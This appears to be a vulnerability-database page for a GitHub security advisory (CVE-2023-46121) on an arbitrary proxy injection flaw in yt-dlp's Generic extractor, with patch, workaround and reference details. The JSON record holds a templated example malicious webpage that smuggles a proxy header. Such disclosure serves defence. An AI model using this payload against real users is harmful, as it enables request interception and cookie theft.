ghsa-3ch3-jhc6-5r8x
Vulnerability from github
Published
2023-11-15 14:48
Modified
2023-11-15 14:48
Severity ?
VLAI Severity ?
Summary
yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection
Details
Impact
The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.
To pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only. Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a `Referer` header sent with it, for example. Additionally, yt-dlp has internal headers to set a proxy for a request: `Ytdl-request-proxy` and `Ytdl-socks-proxy`. While these are deprecated, internally `Ytdl-request-proxy` is still used for `--geo-verification-proxy`. However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to **set an arbitrary proxy for an arbitrary url that the Generic extractor will request.** This could allow for the following, but not limited too: - An attacker can MITM a request it asks yt-dlp to make to **any** website. - If a user has loaded cookies into yt-dlp for the target site, which are not marked as [secure](https://en.wikipedia.org/wiki/Secure_cookie), they could be exfiltrated by the attacker. - Fortunately most sites are HTTPS and should be setting cookies as secure. - An attacker can set cookies for an arbitrary site. An example malicious webpage: ```htmlPatches
- We have removed the ability to smuggle
http_headers
to the Generic extractor, as well as other extractors that use the same pattern.
Workarounds
- Disable Generic extractor (
--ies default,-generic
), or only pass trusted sites with trusted content. - Take caution when using
--no-check-certificate
.
References
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "yt-dlp" }, "ranges": [ { "events": [ { "introduced": "2022.10.04" }, { "fixed": "2023.11.14" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2023-46121" ], "database_specific": { "cwe_ids": [ "CWE-444", "CWE-613" ], "github_reviewed": true, "github_reviewed_at": "2023-11-15T14:48:24Z", "nvd_published_at": "2023-11-15T00:15:09Z", "severity": "MODERATE" }, "details": "### Impact\nThe Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp\u0027s HTTP session. This could lead to cookie exfiltration in some cases.\n\n\u003cdetails\u003e\n\nTo pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of \"url smuggling\". This works by adding this extra data as json to the url fragment (\"smuggling\") that is then passed on to an extractor. The receiving extractor then \"unsmuggles\" the data from the input url. This functionality is intended to be internal only.\n\nCurrently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a `Referer` header sent with it, for example.\n\nAdditionally, yt-dlp has internal headers to set a proxy for a request: `Ytdl-request-proxy` and `Ytdl-socks-proxy`. While these are deprecated, internally `Ytdl-request-proxy` is still used for `--geo-verification-proxy`.\n\nHowever, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to **set an arbitrary proxy for an arbitrary url that the Generic extractor will request.**\n\nThis could allow for the following, but not limited too:\n- An attacker can MITM a request it asks yt-dlp to make to **any** website.\n - If a user has loaded cookies into yt-dlp for the target site, which are not marked as [secure](https://en.wikipedia.org/wiki/Secure_cookie), they could be exfiltrated by the attacker.\n - Fortunately most sites are HTTPS and should be setting cookies as secure.\n- An attacker can set cookies for an arbitrary site.\n\nAn example malicious webpage:\n```html\n\u003c!DOCTYPE html\u003e\n\u003ccinerama.embedPlayer(\u0027t\u0027,\u0027{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D\u0027)\n```\n\nWhere `{{ target_site }}` is the URL Generic extractor will request and `{{ proxy url }}` is the proxy to proxy the request for this url through.\n\n\u003c/details\u003e\n\n### Patches\n- We have removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern.\n\n### Workarounds\n- Disable Generic extractor (`--ies default,-generic`), or only pass trusted sites with trusted content.\n- Take caution when using `--no-check-certificate`.\n\n### References\n- \u003chttps://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x\u003e\n- \u003chttps://nvd.nist.gov/vuln/detail/CVE-2023-46121\u003e\n- \u003chttps://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14\u003e\n- \u003chttps://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb\u003e\n", "id": "GHSA-3ch3-jhc6-5r8x", "modified": "2023-11-15T14:48:24Z", "published": "2023-11-15T14:48:24Z", "references": [ { "type": "WEB", "url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46121" }, { "type": "WEB", "url": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb" }, { "type": "PACKAGE", "url": "https://github.com/yt-dlp/yt-dlp" }, { "type": "WEB", "url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L", "type": "CVSS_V3" } ], "summary": "yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection" }
Loading…
Loading…
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
Loading…
Loading…